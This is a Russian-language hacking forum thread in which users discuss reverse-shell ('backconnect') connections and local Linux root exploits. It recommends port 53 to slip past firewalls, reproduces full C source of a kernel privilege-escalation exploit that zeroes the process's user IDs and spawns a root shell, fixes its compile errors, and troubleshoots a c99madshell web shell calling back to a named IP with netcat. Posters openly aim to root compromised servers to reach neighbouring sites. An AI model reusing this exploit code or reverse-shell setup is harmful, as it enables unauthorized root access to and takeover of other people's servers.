Пара советов от меня: Лучший порт для бэкконнекта это 53, так как ДНС разрешен на всех системах, а 80 и 21 часто блочат. Если с бэкконнекта необходимо залогинится, использовать SSH либо su, то юзайте TTY бэкконнект. Он эмулирует полноценныю консоль. Скачать можно ТУТ (первая ссылка, написан на С)
Любая антивирь утила под юнь спалит эту хрень в два счёта... проверено.Надо уже изобретать что-то новое.
Эм,а разве не gcc file.c -o outputfile ? А в сплоенте и могут возникнуть ошибки изза пробелов/переводов строк или неюзабельности комментария #.Вгетом и линксом пробовал все гут.
Бывало такое,но соединялся напрямую с хостом без юзанья промежуточных серверов.Иногда консоль вообще подвисала жестко,хотя и сервер работал отлично(вбиваешь утилу в консоль,ждёшь вчас и вырубаешь на нервах).Именно под вынь сервер такое было.Через день само пропало...Мб это никак и не связано,но из проблемы я не вышел...
Code: sh-2.05b$ gcc linux-syscall.c -o lin linux-syscall.c: In function `docall': linux-syscall.c:41: warning: cast from pointer to integer of different size linux-syscall.c:43: warning: cast to pointer from integer of different size linux-syscall.c:49: warning: comparison between pointer and integer linux-syscall.c: In function `main': linux-syscall.c:66: warning: integer constant is too large for "long" type linux-syscall.c:67: warning: integer constant is too large for "long" type linux-syscall.c:68: warning: integer constant is too large for "long" type linux-syscall.c:71: warning: cast to pointer from integer of different size linux-syscall.c:104: error: `ORIG_RAX' undeclared (first use in this function) linux-syscall.c:104: error: (Each undeclared identifier is reported only once linux-syscall.c:104: error: for each function it appears in.) sh-2.05b$ Вот код сплойта. Code: #include <sys/types.h> #include <sys/wait.h> #include <sys/ptrace.h> #include <inttypes.h> #include <sys/reg.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> uint32_t uid, euid, suid; static void kernelmodecode(void) { int i; uint8_t *gs; uint32_t *ptr; asm volatile ("movq %%gs:(0x0), %0" : "=r"(gs)); for (i = 200; i < 1000; i+=1) { ptr = (uint32_t*) (gs + i); if ((ptr[0] == uid) && (ptr[1] == euid) && (ptr[2] == suid) && (ptr[3] == uid)) { ptr[0] = 0; //UID ptr[1] = 0; //EUID ptr[2] = 0; //SUID break; } } } static void docall(uint64_t *ptr, uint64_t size) { getresuid(&uid, &euid, &suid); uint64_t tmp = ((uint64_t)ptr & ~0x00000000000FFF); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf("mmap fault\n"); exit(1); } for (; ptr < (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__("\n" "\tmovq $0x101, %rax\n" "\tint $0x80\n"); printf("UID %d, EUID:%d GID:%d, EGID:%d\n", getuid(), geteuid(), getgid(), getegid()); execl("/bin/sh", "bin/sh", 0); printf("no /bin/sh ??\n"); exit(0); } int main(int argc, char **argv) { int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], "2", "3", "4", 0); perror("exec fault"); exit(1); } if (pid == -1) { printf("fork fault\n"); exit(1); } for (;;) { if (wait(&status) != pid) continue; if (WIFEXITED(status)) { printf("Process finished\n"); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf("Process received signal: %d\n", WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf("PTRACE_POKEUSER fault\n"); exit(1); } set = 1; } if ((rax == 11) && set) { ptrace(PTRACE_DETACH, pid, 0, 0); for(;;) sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf("PTRACE_SYSCALL fault\n"); exit(1); } } return 0; }
Статья очень даже ничего, я в этом деле новичок - мне виднее =) Все расписано по-человечески и хорошо понятно, что к чему. Вот только ава, мягко сказано, смущает... =(
На ворнинги можно не обращать внимания, Он тебе говорит что у тебя не объявлена переменная. Добавь #include <linux/user.h>
objasnite pliz. naprimer y menja est shell na sait, po servisu ja probil ctho na etom ip eshe 5 saitov. esli ja sdelaju root ja poluchu dostup k etim saitam??
pomogite plz. v shell ja stavlju backconnect (c99madshell) on vidaet:Now script try connect to 84.14.177.44:53... zpuskaju netcat: nc -l -p53 on vidaet: forward host lookup failed: h_errno 11001 : HOST_NOT_FOUND CHTO JA DELAJU NE TAK???